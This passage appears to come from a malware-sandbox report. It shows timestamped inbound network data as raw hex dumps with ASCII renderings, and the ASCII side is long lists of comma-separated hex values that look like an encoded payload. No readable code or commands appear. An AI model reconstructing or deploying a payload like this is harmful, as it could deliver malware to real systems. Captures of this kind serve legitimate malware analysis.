2023-03-24 00:27:19 UTC	562	IN	Data Raw: 39 34 2c 62 31 2c 66 32 2c 36 37 2c 36 66 2c 33 38 2c 35 33 2c 35 37 2c 37 63 2c 37 37 2c 35 35 2c 35 37 2c 31 34 37 2c 31 32 63 2c 35 34 2c 34 31 2c 31 30 62 2c 37 39 2c 36 35 2c 36 39 2c 33 36 2c 37 35 2c 36 37 2c 32 64 2c 39 30 2c 35 30 2c 37 33 2c 35 39 2c 34 37 2c 33 30 2c 36 65 2c 33 37 2c 34 37 2c 35 37 2c 36 32 2c 36 37 2c 36 63 2c 33 38 2c 35 33 2c 35 37 2c 37 38 2c 37 37 2c 35 35 2c 35 37 2c 34 38 2c 32 64 2c 35 34 2c 34 31 2c 35 33 2c 37 39 2c 36 35 2c 36 39 2c 33 36 2c 37 35 2c 36 37 2c 32 64 2c 35 30 2c 35 30 2c 37 33 2c 35 39 2c 63 37 2c 33 30 2c 36 65 2c 33 37 2c 35 35 2c 37 36 2c 31 31 63 2c 37 35 2c 36 63 2c 65 63 2c 35 63 2c 31 32 34 2c 39 39 2c 31 32 66 2c 35 36 2c 61 33 2c 31 31 35 2c 34 65 2c 61 38 2c 61 39 2c 62 63 2c 65 63 2c 38 35 Data Ascii: 94,b1,f2,67,6f,38,53,57,7c,77,55,57,147,12c,54,41,10b,79,65,69,36,75,67,2d,90,50,73,59,47,30,6e,37,47,57,62,67,6c,38,53,57,78,77,55,57,48,2d,54,41,53,79,65,69,36,75,67,2d,50,50,73,59,c7,30,6e,37,55,76,11c,75,6c,ec,5c,124,99,12f,56,a3,115,4e,a8,a9,bc,ec,85
2023-03-24 00:27:19 UTC	577	IN	Data Raw: 34 2c 37 38 2c 31 32 30 2c 31 30 33 2c 62 35 2c 35 37 2c 31 33 66 2c 34 36 2c 37 61 2c 31 31 37 2c 31 30 36 2c 36 65 2c 63 37 2c 63 35 2c 62 66 2c 65 35 2c 31 34 31 2c 38 64 2c 37 33 2c 35 39 2c 66 66 2c 31 31 32 2c 38 61 2c 33 37 2c 34 37 2c 31 30 66 2c 31 30 32 2c 37 39 2c 36 63 2c 33 38 2c 61 33 2c 31 30 66 2c 31 33 33 2c 37 61 2c 35 35 2c 35 37 2c 31 30 30 2c 36 34 2c 37 63 2c 34 31 2c 35 33 2c 64 31 2c 62 36 2c 31 32 32 2c 61 63 2c 65 34 2c 36 37 2c 32 64 2c 61 39 2c 31 30 38 2c 63 61 2c 61 64 2c 34 37 2c 33 30 2c 63 36 2c 38 64 2c 31 33 32 2c 36 36 2c 38 63 2c 61 30 2c 31 33 61 2c 65 38 2c 61 61 2c 65 65 2c 61 39 2c 66 31 2c 31 33 34 2c 63 31 2c 66 65 2c 62 66 2c 36 62 2c 66 36 2c 31 30 30 2c 31 30 39 2c 31 35 30 2c 37 38 2c 31 33 34 2c 31 36 36 2c Data Ascii: 4,78,120,103,b5,57,13f,46,7a,117,106,6e,c7,c5,bf,e5,141,8d,73,59,ff,112,8a,37,47,10f,102,79,6c,38,a3,10f,133,7a,55,57,100,64,7c,41,53,d1,b6,122,ac,e4,67,2d,a9,108,ca,ad,47,30,c6,8d,132,66,8c,a0,13a,e8,aa,ee,a9,f1,134,c1,fe,bf,6b,f6,100,109,150,78,134,166,
2023-03-24 00:27:19 UTC	593	IN	Data Raw: 2c 31 31 65 2c 31 32 65 2c 64 61 2c 31 34 30 2c 66 66 2c 31 32 65 2c 31 37 34 2c 65 31 2c 64 36 2c 34 37 2c 31 32 31 2c 61 62 2c 36 34 2c 37 38 2c 65 33 2c 63 36 2c 37 35 2c 38 35 2c 39 38 2c 66 64 2c 63 37 2c 66 66 2c 35 62 2c 36 39 2c 36 37 2c 36 63 2c 38 61 2c 31 30 64 2c 31 30 61 2c 38 33 2c 37 37 2c 35 35 2c 62 31 2c 31 30 30 2c 39 61 2c 61 31 2c 34 31 2c 35 33 2c 64 31 2c 62 35 2c 66 39 2c 65 65 2c 31 34 37 2c 62 36 2c 32 64 2c 35 30 2c 61 38 2c 63 35 2c 31 31 33 2c 31 32 64 2c 37 63 2c 36 65 2c 33 37 2c 31 30 31 2c 65 65 2c 62 34 2c 36 37 2c 36 63 2c 38 61 2c 61 34 2c 31 31 30 2c 31 35 61 2c 62 37 2c 35 35 2c 35 37 2c 31 30 31 2c 33 34 2c 36 38 2c 34 31 2c 35 33 2c 31 33 32 2c 66 37 2c 61 64 2c 33 36 2c 37 35 2c 31 32 30 2c 62 36 2c 38 32 2c 35 30 Data Ascii: ,11e,12e,da,140,ff,12e,174,e1,d6,47,121,ab,64,78,e3,c6,75,85,98,fd,c7,ff,5b,69,67,6c,8a,10d,10a,83,77,55,b1,100,9a,a1,41,53,d1,b5,f9,ee,147,b6,2d,50,a8,c5,113,12d,7c,6e,37,101,ee,b4,67,6c,8a,a4,110,15a,b7,55,57,101,34,68,41,53,132,f7,ad,36,75,120,b6,82,50
2023-03-24 00:27:19 UTC	609	IN	Data Raw: 63 61 2c 31 31 62 2c 66 61 2c 31 31 33 2c 66 62 2c 37 39 2c 66 31 2c 62 31 2c 38 64 2c 39 39 2c 31 31 31 2c 36 39 2c 61 65 2c 36 63 2c 33 38 2c 31 33 65 2c 37 30 2c 31 36 30 2c 37 39 2c 64 62 2c 31 30 62 2c 38 66 2c 31 31 30 2c 63 36 2c 31 30 36 2c 31 33 62 2c 31 34 64 2c 31 30 61 2c 31 31 64 2c 37 65 2c 31 30 65 2c 38 65 2c 38 63 2c 35 64 2c 63 31 2c 31 30 61 2c 65 33 2c 31 33 34 2c 33 63 2c 66 64 2c 39 66 2c 35 32 2c 61 37 2c 31 31 61 2c 31 35 32 2c 37 38 2c 33 38 2c 35 33 2c 61 66 2c 64 32 2c 63 38 2c 31 30 65 2c 66 30 2c 39 36 2c 32 64 2c 35 34 2c 39 61 2c 61 33 2c 31 33 31 2c 66 63 2c 38 30 2c 33 36 2c 37 35 2c 31 35 32 2c 33 63 2c 31 30 63 2c 31 31 65 2c 62 64 2c 38 62 2c 31 30 63 2c 66 37 2c 31 33 62 2c 38 33 2c 65 34 2c 63 64 2c 36 63 2c 65 63 2c Data Ascii: ca,11b,fa,113,fb,79,f1,b1,8d,99,111,69,ae,6c,38,13e,70,160,79,db,10b,8f,110,c6,106,13b,14d,10a,11d,7e,10e,8e,8c,5d,c1,10a,e3,134,3c,fd,9f,52,a7,11a,152,78,38,53,af,d2,c8,10e,f0,96,2d,54,9a,a3,131,fc,80,36,75,152,3c,10c,11e,bd,8b,10c,f7,13b,83,e4,cd,6c,ec,
2023-03-24 00:27:19 UTC	625	IN	Data Raw: 32 35 2c 63 36 2c 31 32 33 2c 36 32 2c 39 33 2c 31 36 63 2c 65 39 2c 31 32 65 2c 31 31 65 2c 62 62 2c 39 30 2c 36 65 2c 35 39 2c 31 32 36 2c 31 35 37 2c 31 34 38 2c 65 37 2c 64 39 2c 31 36 32 2c 62 37 2c 38 35 2c 31 33 62 2c 35 66 2c 39 37 2c 61 66 2c 39 31 2c 35 31 2c 31 33 64 2c 61 32 2c 31 31 39 2c 31 30 35 2c 65 36 2c 31 30 61 2c 38 39 2c 37 63 2c 66 30 2c 38 38 2c 31 32 64 2c 63 37 2c 31 30 64 2c 31 30 39 2c 62 61 2c 32 64 2c 35 34 2c 66 39 2c 61 30 2c 63 39 2c 36 35 2c 36 39 2c 38 65 2c 31 36 30 2c 37 36 2c 62 30 2c 62 65 2c 36 62 2c 63 35 2c 65 33 2c 31 33 37 2c 36 33 2c 65 37 2c 39 62 2c 63 36 2c 31 35 33 2c 61 64 2c 31 35 65 2c 62 63 2c 38 66 2c 31 33 65 2c 35 63 2c 31 33 63 2c 38 36 2c 37 61 2c 31 31 62 2c 31 30 33 2c 37 65 2c 31 30 64 2c 31 31 Data Ascii: 25,c6,123,62,93,16c,e9,12e,11e,bb,90,6e,59,126,157,148,e7,d9,162,b7,85,13b,5f,97,af,91,51,13d,a2,119,105,e6,10a,89,7c,f0,88,12d,c7,10d,109,ba,2d,54,f9,a0,c9,65,69,8e,160,76,b0,be,6b,c5,e3,137,63,e7,9b,c6,153,ad,15e,bc,8f,13e,5c,13c,86,7a,11b,103,7e,10d,11
2023-03-24 00:27:19 UTC	641	IN	Data Raw: 2c 62 30 2c 64 61 2c 65 38 2c 35 66 2c 61 32 2c 38 35 2c 63 61 2c 31 33 62 2c 36 39 2c 31 34 38 2c 38 63 2c 31 30 32 2c 63 33 2c 31 36 32 2c 31 33 30 2c 65 36 2c 37 31 2c 39 30 2c 31 31 32 2c 31 33 38 2c 62 65 2c 63 35 2c 31 33 34 2c 62 36 2c 31 35 31 2c 31 30 62 2c 31 34 38 2c 66 35 2c 36 38 2c 37 36 2c 66 38 2c 61 62 2c 31 30 63 2c 31 33 32 2c 62 62 2c 39 30 2c 63 35 2c 31 35 32 2c 33 32 2c 31 30 31 2c 63 31 2c 31 36 34 2c 31 34 61 2c 39 38 2c 31 31 62 2c 37 64 2c 65 35 2c 62 64 2c 31 32 37 2c 31 35 32 2c 31 34 31 2c 37 65 2c 35 64 2c 35 66 2c 63 32 2c 31 36 32 2c 38 65 2c 31 31 64 2c 31 33 31 2c 65 38 2c 34 66 2c 61 34 2c 31 32 63 2c 36 63 2c 38 39 2c 38 36 2c 31 36 32 2c 39 64 2c 31 36 35 2c 64 38 2c 36 63 2c 31 33 61 2c 38 33 2c 66 32 2c 31 32 61 2c Data Ascii: ,b0,da,e8,5f,a2,85,ca,13b,69,148,8c,102,c3,162,130,e6,71,90,112,138,be,c5,134,b6,151,10b,148,f5,68,76,f8,ab,10c,132,bb,90,c5,152,32,101,c1,164,14a,98,11b,7d,e5,bd,127,152,141,7e,5d,5f,c2,162,8e,11d,131,e8,4f,a4,12c,6c,89,86,162,9d,165,d8,6c,13a,83,f2,12a,
2023-03-24 00:27:19 UTC	657	IN	Data Raw: 33 35 2c 38 62 2c 38 33 2c 31 32 61 2c 31 34 63 2c 31 32 34 2c 62 38 2c 31 32 35 2c 66 33 2c 36 34 2c 35 37 2c 37 38 2c 64 30 2c 31 34 30 2c 36 36 2c 31 33 38 2c 33 64 2c 64 35 2c 39 62 2c 37 61 2c 62 62 2c 37 63 2c 37 36 2c 35 31 2c 31 34 65 2c 31 31 34 2c 31 30 36 2c 39 65 2c 31 31 63 2c 61 35 2c 61 61 2c 31 30 30 2c 39 36 2c 62 62 2c 33 37 2c 34 37 2c 62 30 2c 31 34 64 2c 37 36 2c 63 31 2c 66 62 2c 31 34 66 2c 65 62 2c 64 65 2c 38 61 2c 64 39 2c 61 66 2c 36 65 2c 36 38 2c 66 64 2c 66 62 2c 36 65 2c 66 30 2c 31 35 34 2c 62 39 2c 38 65 2c 63 35 2c 31 31 66 2c 39 37 2c 36 61 2c 35 30 2c 37 33 2c 31 31 31 2c 31 31 61 2c 61 65 2c 36 65 2c 33 37 2c 31 33 32 2c 37 30 2c 65 35 2c 64 38 2c 64 34 2c 34 31 2c 39 66 2c 64 39 2c 61 64 2c 65 66 2c 31 30 65 2c 62 65 Data Ascii: 35,8b,83,12a,14c,124,b8,125,f3,64,57,78,d0,140,66,138,3d,d5,9b,7a,bb,7c,76,51,14e,114,106,9e,11c,a5,aa,100,96,bb,37,47,b0,14d,76,c1,fb,14f,eb,de,8a,d9,af,6e,68,fd,fb,6e,f0,154,b9,8e,c5,11f,97,6a,50,73,111,11a,ae,6e,37,132,70,e5,d8,d4,41,9f,d9,ad,ef,10e,be
2023-03-24 00:27:19 UTC	673	IN	Data Raw: 2c 31 30 34 2c 64 62 2c 66 39 2c 38 33 2c 31 31 30 2c 31 35 30 2c 31 35 39 2c 62 30 2c 37 35 2c 35 62 2c 31 32 65 2c 61 36 2c 31 36 32 2c 35 61 2c 39 35 2c 65 63 2c 65 63 2c 31 34 38 2c 35 31 2c 31 33 65 2c 37 65 2c 63 34 2c 62 36 2c 31 30 36 2c 65 31 2c 39 30 2c 37 64 2c 61 38 2c 31 33 62 2c 38 32 2c 35 61 2c 36 63 2c 31 30 62 2c 31 32 62 2c 38 32 2c 31 31 66 2c 63 63 2c 38 33 2c 37 66 2c 37 34 2c 31 30 64 2c 39 32 2c 38 66 2c 31 33 64 2c 65 61 2c 61 35 2c 61 66 2c 39 39 2c 38 36 2c 31 33 66 2c 34 36 2c 39 63 2c 38 32 2c 31 35 36 2c 37 38 2c 37 30 2c 63 35 2c 31 31 66 2c 36 38 2c 35 62 2c 35 30 2c 37 33 2c 62 31 2c 31 33 32 2c 33 35 2c 31 33 65 2c 37 31 2c 39 64 2c 38 37 2c 31 33 61 2c 63 30 2c 31 35 37 2c 34 37 2c 66 64 2c 63 31 2c 65 65 2c 39 39 2c 39 Data Ascii: ,104,db,f9,83,110,150,159,b0,75,5b,12e,a6,162,5a,95,ec,ec,148,51,13e,7e,c4,b6,106,e1,90,7d,a8,13b,82,5a,6c,10b,12b,82,11f,cc,83,7f,74,10d,92,8f,13d,ea,a5,af,99,86,13f,46,9c,82,156,78,70,c5,11f,68,5b,50,73,b1,132,35,13e,71,9d,87,13a,c0,157,47,fd,c1,ee,99,9
2023-03-24 00:27:19 UTC	689	IN	Data Raw: 61 30 2c 35 33 2c 37 39 2c 31 35 30 2c 37 38 2c 31 31 61 2c 64 63 2c 37 32 2c 66 36 2c 63 66 2c 63 35 2c 31 34 34 2c 37 36 2c 31 32 34 2c 39 31 2c 31 32 61 2c 38 64 2c 31 33 65 2c 62 32 2c 64 39 2c 63 30 2c 62 63 2c 31 32 33 2c 36 63 2c 36 65 2c 31 35 65 2c 38 66 2c 65 65 2c 36 34 2c 65 38 2c 39 62 2c 37 36 2c 62 32 2c 31 30 30 2c 31 37 33 2c 39 63 2c 63 37 2c 31 32 66 2c 61 61 2c 31 31 61 2c 63 32 2c 31 33 65 2c 37 35 2c 62 31 2c 31 34 30 2c 62 66 2c 65 36 2c 64 39 2c 38 35 2c 31 33 32 2c 36 36 2c 36 33 2c 39 61 2c 36 63 2c 61 64 2c 64 66 2c 37 36 2c 62 61 2c 31 34 39 2c 62 61 2c 64 31 2c 35 31 2c 31 30 66 2c 35 62 2c 31 31 61 2c 31 32 32 2c 63 61 2c 31 31 65 2c 31 33 32 2c 34 35 2c 37 35 2c 36 37 2c 37 64 2c 31 30 38 2c 31 31 32 2c 38 62 2c 35 39 2c 34 Data Ascii: a0,53,79,150,78,11a,dc,72,f6,cf,c5,144,76,124,91,12a,8d,13e,b2,d9,c0,bc,123,6c,6e,15e,8f,ee,64,e8,9b,76,b2,100,173,9c,c7,12f,aa,11a,c2,13e,75,b1,140,bf,e6,d9,85,132,66,63,9a,6c,ad,df,76,ba,149,ba,d1,51,10f,5b,11a,122,ca,11e,132,45,75,67,7d,108,112,8b,59,4
2023-03-24 00:27:19 UTC	705	IN	Data Raw: 34 2c 39 34 2c 37 39 2c 35 37 2c 37 38 2c 63 66 2c 65 35 2c 31 31 30 2c 37 64 2c 37 30 2c 35 34 2c 34 31 2c 61 63 2c 31 30 32 2c 61 39 2c 38 64 2c 33 65 2c 63 35 2c 62 66 2c 66 34 2c 35 34 2c 37 34 2c 62 33 2c 35 39 2c 38 38 2c 33 30 2c 31 35 39 2c 34 36 2c 31 34 34 2c 62 62 2c 65 39 2c 64 66 2c 65 63 2c 31 31 39 2c 31 34 36 2c 39 33 2c 31 33 35 2c 64 66 2c 37 38 2c 31 32 64 2c 66 37 2c 62 37 2c 31 33 66 2c 39 33 2c 61 64 2c 31 36 31 2c 63 66 2c 63 32 2c 31 33 35 2c 31 37 34 2c 62 37 2c 37 66 2c 61 61 2c 31 30 38 2c 61 37 2c 38 31 2c 34 37 2c 33 30 2c 62 66 2c 66 30 2c 31 34 31 2c 39 38 2c 36 32 2c 36 37 2c 31 35 37 2c 34 37 2c 31 30 36 2c 39 32 2c 66 30 2c 38 65 2c 36 35 2c 66 38 2c 65 63 2c 33 61 2c 31 31 39 2c 37 37 2c 31 31 30 2c 31 36 62 2c 63 65 2c Data Ascii: 4,94,79,57,78,cf,e5,110,7d,70,54,41,ac,102,a9,8d,3e,c5,bf,f4,54,74,b3,59,88,30,159,46,144,bb,e9,df,ec,119,146,93,135,df,78,12d,f7,b7,13f,93,ad,161,cf,c2,135,174,b7,7f,aa,108,a7,81,47,30,bf,f0,141,98,62,67,157,47,106,92,f0,8e,65,f8,ec,3a,119,77,110,16b,ce,
2023-03-24 00:27:19 UTC	721	IN	Data Raw: 39 2c 61 66 2c 64 66 2c 37 30 2c 31 30 61 2c 66 65 2c 31 36 37 2c 31 32 61 2c 66 37 2c 66 39 2c 61 65 2c 31 31 65 2c 35 62 2c 35 32 2c 37 64 2c 63 38 2c 66 63 2c 39 32 2c 38 37 2c 63 65 2c 62 37 2c 38 35 2c 61 38 2c 61 61 2c 31 35 65 2c 36 38 2c 37 38 2c 64 62 2c 31 36 35 2c 33 37 2c 38 39 2c 61 63 2c 65 34 2c 31 34 33 2c 31 35 32 2c 31 31 31 2c 38 31 2c 66 39 2c 61 37 2c 31 36 31 2c 37 31 2c 31 30 66 2c 64 34 2c 34 36 2c 35 34 2c 34 31 2c 31 30 62 2c 31 37 35 2c 39 38 2c 36 39 2c 33 36 2c 63 37 2c 31 35 32 2c 33 63 2c 64 35 2c 63 33 2c 62 61 2c 62 34 2c 31 30 30 2c 39 62 2c 31 34 66 2c 38 37 2c 35 36 2c 62 37 2c 39 64 2c 31 34 66 2c 64 33 2c 37 39 2c 38 32 2c 31 34 32 2c 39 31 2c 37 39 2c 31 30 64 2c 37 64 2c 64 35 2c 35 64 2c 39 38 2c 64 39 2c 31 34 32 Data Ascii: 9,af,df,70,10a,fe,167,12a,f7,f9,ae,11e,5b,52,7d,c8,fc,92,87,ce,b7,85,a8,aa,15e,68,78,db,165,37,89,ac,e4,143,152,111,81,f9,a7,161,71,10f,d4,46,54,41,10b,175,98,69,36,c7,152,3c,d5,c3,ba,b4,100,9b,14f,87,56,b7,9d,14f,d3,79,82,142,91,79,10d,7d,d5,5d,98,d9,142
2023-03-24 00:27:19 UTC	737	IN	Data Raw: 2c 38 32 2c 31 33 61 2c 31 33 31 2c 62 30 2c 62 65 2c 31 33 30 2c 66 33 2c 65 61 2c 38 34 2c 31 31 62 2c 31 32 31 2c 31 33 35 2c 32 64 2c 35 39 2c 31 32 63 2c 36 32 2c 66 64 2c 63 31 2c 31 35 39 2c 33 63 2c 31 36 61 2c 64 39 2c 36 63 2c 38 65 2c 35 30 2c 31 36 35 2c 62 37 2c 63 33 2c 38 33 2c 31 32 39 2c 39 38 2c 31 33 32 2c 36 36 2c 38 64 2c 31 35 30 2c 38 63 2c 31 30 62 2c 36 30 2c 64 39 2c 38 37 2c 31 34 66 2c 35 66 2c 63 37 2c 66 39 2c 65 32 2c 62 30 2c 65 62 2c 36 34 2c 63 61 2c 31 31 65 2c 31 34 33 2c 33 66 2c 37 35 2c 36 37 2c 65 36 2c 65 39 2c 38 61 2c 37 33 2c 35 39 2c 31 30 30 2c 38 66 2c 61 31 2c 33 37 2c 34 37 2c 31 31 30 2c 31 35 64 2c 63 35 2c 36 63 2c 33 38 2c 61 63 2c 31 34 32 2c 39 31 2c 37 62 2c 31 34 64 2c 62 66 2c 31 34 36 2c 31 30 33 Data Ascii: ,82,13a,131,b0,be,130,f3,ea,84,11b,121,135,2d,59,12c,62,fd,c1,159,3c,16a,d9,6c,8e,50,165,b7,c3,83,129,98,132,66,8d,150,8c,10b,60,d9,87,14f,5f,c7,f9,e2,b0,eb,64,ca,11e,143,3f,75,67,e6,e9,8a,73,59,100,8f,a1,37,47,110,15d,c5,6c,38,ac,142,91,7b,14d,bf,146,103
2023-03-24 00:27:19 UTC	753	IN	Data Raw: 34 2c 61 32 2c 31 31 65 2c 64 30 2c 31 31 36 2c 37 33 2c 31 34 33 2c 65 63 2c 31 30 31 2c 31 30 35 2c 31 33 33 2c 37 39 2c 63 39 2c 36 33 2c 61 35 2c 31 31 37 2c 61 62 2c 65 63 2c 66 66 2c 31 32 63 2c 61 35 2c 31 33 38 2c 31 31 32 2c 31 34 32 2c 38 66 2c 38 64 2c 65 62 2c 31 30 32 2c 38 30 2c 31 32 63 2c 31 31 62 2c 63 32 2c 34 33 2c 31 31 62 2c 39 32 2c 64 37 2c 62 38 2c 31 33 64 2c 31 35 36 2c 64 38 2c 37 63 2c 61 65 2c 31 31 31 2c 66 34 2c 31 32 33 2c 31 35 31 2c 37 61 2c 31 35 65 2c 31 35 39 2c 35 33 2c 31 30 65 2c 62 66 2c 62 63 2c 31 36 66 2c 31 30 33 2c 36 39 2c 31 30 35 2c 31 32 30 2c 37 38 2c 31 30 35 2c 64 31 2c 38 34 2c 38 36 2c 38 61 2c 31 32 39 2c 63 63 2c 31 31 37 2c 34 32 2c 36 62 2c 66 35 2c 37 34 2c 36 64 2c 36 31 2c 39 35 2c 61 64 2c 34 Data Ascii: 4,a2,11e,d0,116,73,143,ec,101,105,133,79,c9,63,a5,117,ab,ec,ff,12c,a5,138,112,142,8f,8d,eb,102,80,12c,11b,c2,43,11b,92,d7,b8,13d,156,d8,7c,ae,111,f4,123,151,7a,15e,159,53,10e,bf,bc,16f,103,69,105,120,78,105,d1,84,86,8a,129,cc,117,42,6b,f5,74,6d,61,95,ad,4
2023-03-24 00:27:19 UTC	769	IN	Data Raw: 64 2c 64 39 2c 31 33 63 2c 63 66 2c 65 63 2c 31 31 62 2c 37 61 2c 31 34 37 2c 66 38 2c 61 63 2c 31 30 63 2c 34 34 2c 66 37 2c 36 35 2c 38 65 2c 31 31 33 2c 31 31 30 2c 66 62 2c 37 34 2c 31 31 31 2c 31 31 64 2c 31 30 63 2c 63 39 2c 62 38 2c 31 33 33 2c 38 39 2c 31 32 36 2c 31 31 33 2c 31 31 35 2c 39 62 2c 34 66 2c 66 30 2c 31 34 63 2c 62 66 2c 63 35 2c 33 65 2c 62 32 2c 31 34 30 2c 64 33 2c 31 37 32 2c 66 35 2c 37 32 2c 66 66 2c 31 31 65 2c 31 33 62 2c 34 36 2c 62 63 2c 31 36 30 2c 63 31 2c 31 35 31 2c 31 32 35 2c 31 37 34 2c 31 36 30 2c 35 32 2c 62 34 2c 62 65 2c 31 34 65 2c 31 30 61 2c 38 64 2c 37 63 2c 31 35 35 2c 31 32 32 2c 63 31 2c 62 30 2c 65 38 2c 64 34 2c 64 34 2c 63 65 2c 31 34 38 2c 61 36 2c 31 33 66 2c 61 39 2c 35 62 2c 65 35 2c 66 65 2c 31 30 Data Ascii: d,d9,13c,cf,ec,11b,7a,147,f8,ac,10c,44,f7,65,8e,113,110,fb,74,111,11d,10c,c9,b8,133,89,126,113,115,9b,4f,f0,14c,bf,c5,3e,b2,140,d3,172,f5,72,ff,11e,13b,46,bc,160,c1,151,125,174,160,52,b4,be,14e,10a,8d,7c,155,122,c1,b0,e8,d4,d4,ce,148,a6,13f,a9,5b,e5,fe,10
2023-03-24 00:27:19 UTC	785	IN	Data Raw: 31 35 33 2c 63 33 2c 65 63 2c 31 30 37 2c 37 61 2c 36 64 2c 31 32 39 2c 38 34 2c 31 32 32 2c 64 39 2c 34 37 2c 31 34 39 2c 65 64 2c 31 31 65 2c 39 64 2c 66 36 2c 31 32 61 2c 66 63 2c 64 34 2c 66 39 2c 35 35 2c 63 63 2c 39 66 2c 31 30 30 2c 37 38 2c 63 30 2c 31 32 62 2c 65 66 2c 65 65 2c 31 31 38 2c 36 33 2c 65 66 2c 31 32 30 2c 34 39 2c 62 35 2c 31 34 31 2c 61 66 2c 61 39 2c 31 32 34 2c 31 30 38 2c 31 30 34 2c 31 30 63 2c 65 39 2c 31 32 65 2c 31 30 34 2c 38 33 2c 31 30 62 2c 37 63 2c 31 33 38 2c 66 37 2c 31 36 66 2c 31 30 38 2c 31 31 34 2c 62 31 2c 63 36 2c 38 64 2c 38 39 2c 62 63 2c 63 36 2c 64 30 2c 36 39 2c 64 61 2c 31 30 37 2c 31 37 34 2c 38 36 2c 62 63 2c 31 32 32 2c 63 33 2c 31 30 31 2c 36 32 2c 31 33 62 2c 31 32 63 2c 31 36 64 2c 63 36 2c 37 63 2c Data Ascii: 153,c3,ec,107,7a,6d,129,84,122,d9,47,149,ed,11e,9d,f6,12a,fc,d4,f9,55,cc,9f,100,78,c0,12b,ef,ee,118,63,ef,120,49,b5,141,af,a9,124,108,104,10c,e9,12e,104,83,10b,7c,138,f7,16f,108,114,b1,c6,8d,89,bc,c6,d0,69,da,107,174,86,bc,122,c3,101,62,13b,12c,16d,c6,7c,
2023-03-24 00:27:19 UTC	801	IN	Data Raw: 2c 39 36 2c 63 34 2c 31 31 65 2c 31 32 61 2c 38 39 2c 39 63 2c 31 30 35 2c 31 30 64 2c 38 31 2c 31 33 33 2c 64 38 2c 38 36 2c 37 33 2c 38 35 2c 39 35 2c 39 66 2c 31 32 33 2c 31 31 30 2c 31 32 36 2c 38 37 2c 66 33 2c 61 31 2c 37 61 2c 62 61 2c 64 66 2c 65 39 2c 38 33 2c 31 31 33 2c 39 38 2c 31 35 32 2c 37 31 2c 61 65 2c 65 31 2c 62 35 2c 31 36 31 2c 61 37 2c 34 63 2c 64 39 2c 31 31 34 2c 38 36 2c 35 61 2c 62 34 2c 37 30 2c 31 30 63 2c 61 30 2c 36 33 2c 31 33 33 2c 31 32 36 2c 38 30 2c 38 64 2c 31 33 38 2c 39 61 2c 65 62 2c 31 31 34 2c 39 36 2c 63 62 2c 35 63 2c 39 33 2c 64 38 2c 62 32 2c 34 34 2c 31 33 36 2c 31 34 30 2c 31 32 39 2c 37 63 2c 62 30 2c 37 63 2c 35 66 2c 37 64 2c 62 64 2c 39 39 2c 36 65 2c 31 31 38 2c 31 34 64 2c 62 30 2c 36 63 2c 61 30 2c 36 Data Ascii: ,96,c4,11e,12a,89,9c,105,10d,81,133,d8,86,73,85,95,9f,123,110,126,87,f3,a1,7a,ba,df,e9,83,113,98,152,71,ae,e1,b5,161,a7,4c,d9,114,86,5a,b4,70,10c,a0,63,133,126,80,8d,138,9a,eb,114,96,cb,5c,93,d8,b2,44,136,140,129,7c,b0,7c,5f,7d,bd,99,6e,118,14d,b0,6c,a0,6
2023-03-24 00:27:19 UTC	817	IN	Data Raw: 62 2c 62 66 2c 65 38 2c 31 32 33 2c 61 30 2c 31 31 34 2c 65 31 2c 31 33 30 2c 33 37 2c 39 38 2c 38 37 2c 31 36 39 2c 31 32 30 2c 37 38 2c 37 65 2c 31 30 65 2c 61 38 2c 35 63 2c 31 30 32 2c 63 36 2c 38 39 2c 64 36 2c 66 61 2c 36 33 2c 31 33 34 2c 31 30 34 2c 39 37 2c 31 33 36 2c 39 63 2c 39 66 2c 61 30 2c 66 64 2c 31 31 32 2c 66 39 2c 63 32 2c 31 33 30 2c 64 38 2c 39 64 2c 31 35 37 2c 61 31 2c 33 65 2c 36 33 2c 35 64 2c 37 61 2c 36 35 2c 39 33 2c 36 32 2c 31 34 34 2c 34 63 2c 35 37 2c 39 37 2c 31 30 31 2c 38 63 2c 31 30 65 2c 62 32 2c 35 36 2c 37 62 2c 31 30 34 2c 39 39 2c 31 30 65 2c 31 33 35 2c 38 38 2c 38 64 2c 31 31 63 2c 62 35 2c 63 33 2c 64 33 2c 31 34 34 2c 62 34 2c 33 37 2c 63 61 2c 66 63 2c 36 63 2c 66 31 2c 37 35 2c 65 65 2c 31 33 63 2c 35 37 2c Data Ascii: b,bf,e8,123,a0,114,e1,130,37,98,87,169,120,78,7e,10e,a8,5c,102,c6,89,d6,fa,63,134,104,97,136,9c,9f,a0,fd,112,f9,c2,130,d8,9d,157,a1,3e,63,5d,7a,65,93,62,144,4c,57,97,101,8c,10e,b2,56,7b,104,99,10e,135,88,8d,11c,b5,c3,d3,144,b4,37,ca,fc,6c,f1,75,ee,13c,57,
2023-03-24 00:27:19 UTC	833	IN	Data Raw: 65 32 2c 38 38 2c 39 39 2c 37 37 2c 31 32 65 2c 31 30 34 2c 31 35 31 2c 65 61 2c 31 34 62 2c 37 35 2c 31 34 36 2c 31 31 64 2c 31 30 35 2c 31 32 66 2c 63 38 2c 31 30 35 2c 35 62 2c 37 64 2c 31 30 64 2c 64 33 2c 31 32 64 2c 61 66 2c 31 31 31 2c 65 32 2c 36 38 2c 38 32 2c 35 36 2c 63 34 2c 31 34 39 2c 31 30 61 2c 65 63 2c 31 35 33 2c 31 30 38 2c 35 38 2c 63 34 2c 38 39 2c 38 32 2c 64 31 2c 37 64 2c 64 37 2c 31 36 34 2c 38 33 2c 62 37 2c 36 39 2c 31 31 63 2c 39 62 2c 64 32 2c 65 30 2c 66 37 2c 61 33 2c 61 61 2c 63 38 2c 34 61 2c 65 66 2c 31 34 39 2c 65 35 2c 31 35 64 2c 66 38 2c 36 39 2c 63 65 2c 39 30 2c 31 35 64 2c 31 34 32 2c 65 30 2c 66 39 2c 31 30 66 2c 62 30 2c 35 66 2c 31 30 65 2c 63 34 2c 66 66 2c 66 33 2c 31 33 31 2c 31 31 37 2c 38 32 2c 64 34 2c 62 Data Ascii: e2,88,99,77,12e,104,151,ea,14b,75,146,11d,105,12f,c8,105,5b,7d,10d,d3,12d,af,111,e2,68,82,56,c4,149,10a,ec,153,108,58,c4,89,82,d1,7d,d7,164,83,b7,69,11c,9b,d2,e0,f7,a3,aa,c8,4a,ef,149,e5,15d,f8,69,ce,90,15d,142,e0,f9,10f,b0,5f,10e,c4,ff,f3,131,117,82,d4,b
